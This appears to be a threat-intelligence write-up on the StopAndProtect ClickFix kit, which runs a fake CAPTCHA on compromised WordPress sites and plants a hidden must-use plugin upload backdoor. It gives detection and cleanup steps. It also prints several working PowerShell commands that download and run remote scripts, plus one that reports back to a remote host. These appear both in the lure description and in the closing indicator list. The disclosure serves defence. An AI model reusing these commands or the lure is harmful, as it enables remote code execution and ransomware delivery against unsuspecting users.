StopAndProtect ClickFix kit

Check Point named the operation

Check Point Research named StopAndProtect after tracing its fake CAPTCHA, compromised WordPress infrastructure and ransomware operation. On the website, a malicious plugin named verify covers the legitimate page for a Windows visitor and controls the lure through verify.php, store.php, proxy.php and stored_url.txt.

The lure skips WordPress administration and file-manager pages. For other visitors it adds hv-locked to the document, draws a full-page hv-backdrop and checks local storage for verification_completed, which prevents the prompt from returning in the same browser after completion.

The checkbox waits for proof of execution

Selecting the checkbox starts a three-second VERIFYING state and copies a command shaped like this:

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://[host]/vcapcha.ps1'))

The page then shows three steps: open Windows Run with Win+R, paste with Ctrl+V and press Enter.

The page polls the plugin's proxy.php every two seconds for a remote log containing the visitor's address. It waits for that entry before enabling its final verify button, and gives the loop up to five minutes. Five request errors also end the polling. The overlay closes and restores the page only after the expected log entry and the visitor's final click.

A must-use plugin keeps a second foothold

Check Point also recovered an installer that writes wp-content/mu-plugins/wp-sec.php, then deletes itself. Must-use plugins load automatically and stay outside the ordinary Plugins list. This one registers wp-sec/v1/upload and accepts PHP uploads from requests carrying hardcoded credentials.

What we see

Month	New sites
September	2
October	2
November so far	0

Of the 6 sites recaptured at least 25 days after their first match, 5 were still serving StopAndProtect (83%).

Finding both WordPress footholds

Inspect the filesystem and a logged-out Windows visit for:

• a verify plugin containing verify.php, store.php, proxy.php or stored_url.txt
• hv-locked, hv-backdrop, verification_completed and repeated proxy.php requests
• wp-content/mu-plugins/wp-sec.php and the wp-sec/v1/upload route
• clipboard code containing Net.WebClient and vcapcha.ps1

Remove both footholds, replace altered WordPress components with trusted copies, review must-use plugins directly on disk and rotate WordPress, hosting and file-transfer credentials.

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://v-k[.]com[.]ua/vcapcha.ps1'))"

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://ndigitals[.]in/vcapcha.ps1'))"

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://simpludelicios[.]md/vcapcha.ps1'))"

powershell -NoP -Exec Bypass -C "try{iwr 'hxxps://mefiji[.]com/rep1.php' -Method Post -Body @{status='Done';completed='true';ts=(Get-Date -Format 'yyyy-MM-dd HH:mm:ss');domain='{compressedDomain}'} -UseB -TimeoutSec 5 |Out-Null}catch{}; exit"

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://richardkemick[.]com/vcapcha.ps1'))"

powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString('hxxps://sarp08[.]no/vcapcha.ps1'))"